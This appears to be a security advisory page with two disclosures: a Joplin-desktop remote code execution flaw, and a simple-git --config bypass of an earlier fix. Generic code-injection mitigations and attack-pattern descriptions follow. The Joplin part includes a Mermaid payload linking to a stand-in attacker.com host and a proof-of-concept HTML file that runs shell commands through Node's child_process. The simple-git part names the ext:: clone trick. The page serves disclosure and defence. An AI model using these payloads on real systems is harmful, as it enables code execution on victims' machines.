Summary
Remote Code Execution on click of <a> Link in markdown preview
Details

Summary

There is a vulnerability in Joplin-desktop that leads to remote code execution (RCE) when a user clicks on an <a> link within untrusted notes. The issue arises due to insufficient sanitization of <a> tag attributes introduced by the Mermaid. This vulnerability allows the execution of untrusted HTML content within the Electron window, which has full access to Node.js APIs, enabling arbitrary shell command execution.

Details

In the markdown preview iframe, Joplin only opens <a> links internally within the same Electron window if they contain the data-from-md attribute. While Joplin successfully sanitizes the data-from-md attribute in user-embedded <a> links from the .md file to prevent the execution of untrusted HTML content, it fails to sanitize the data-from-md attributes of <a> tags introduced by Mermaid (e.g., the code snippet shown below). Since Mermaid allows the rendering of certain scriptless HTML elements, an attacker can embed <a>tags with data-from-md attributes, which will then be opened internally in the same Electron window.

Additionally, Joplin opens the window with nodeIntegration set to true and contextIsolation set to false, resulting in any scripts running in the opened window having full access to Node.js APIs. Furthermore, the markdown preview iframe shares the same origin (i.e.,local file system) as its parent and lacks the sandbox attribute, allowing scripts running in the iframe to call Node.js APIs through window.parent. As a result, an attacker can execute arbitrary code using Node.js APIs by exploiting HTML files stored on the local file system, which share the same origin as the parent.

Relevant code references:

  • Payload to inject <a> with data-from-md attribute:
```mermaid
flowchart TD
    A[<a href="https://attacker.com" data-from-md>hello</a>]
```

  • Window configuration of Joplin window

https://github.com/laurent22/joplin/blob/e6c09da639adeb76f12e4477cc8442c49c0ced0c/packages/app-desktop/ElectronAppWrapper.ts#L141-L155

PoC

Considering the user has downloaded the following shared files from the internet (Note: the threat model aligns with existing published security issues: GHSA-2h88-m32f-qh5m and GHSA-g8qx-5vcm-3x59, where the malicious HTML file is available locally):

  • poc.md
```mermaid
flowchart TD
    A[<a href="/../../../../../../../../../../../../../../../path/to/poc2.html" data-from-md>hello</a>]
```
  • poc2.html
<html>
  <body>
    <script>
      if (typeof window.parent.require !== 'undefined') {
        const { exec } = window.parent.require('child_process');
        exec('ls -al', (err, stdout, stderr) => {
          if (err) {
            document.body.innerText = `Error: ${err.message}`;
            return;
          }
          if (stderr) {
            document.body.innerText = `Stderr: ${stderr}`;
            return;
          }
          document.body.innerText = stdout;
        });
      } else {
        document.body.innerText = 'Require is not available in this environment.';
      }
    </script>
  </body>
</html>

Then, open the poc.md with Joplin and click on the hello link. The code embedded in the poc2.html will be executed.

Impact

This vulnerability can lead to Remote Code Execution (RCE) when users open and interact with untrusted notes, while malicious HTML files are available locally.

Summary
simple-git is vulnerable to Remote Code Execution
Details

Versions of the package simple-git before 3.36.0 are vulnerable to Remote Code Execution (RCE) due to an incomplete fix for CVE-2022-25912 that blocks the -c option but not the equivalent --config form. If untrusted input can reach the options argument passed to simple-git, an attacker may still achieve remote code execution by enabling protocol.ext.allow=always and using an ext:: clone source.

Mitigation
Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation
Architecture and Design
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.
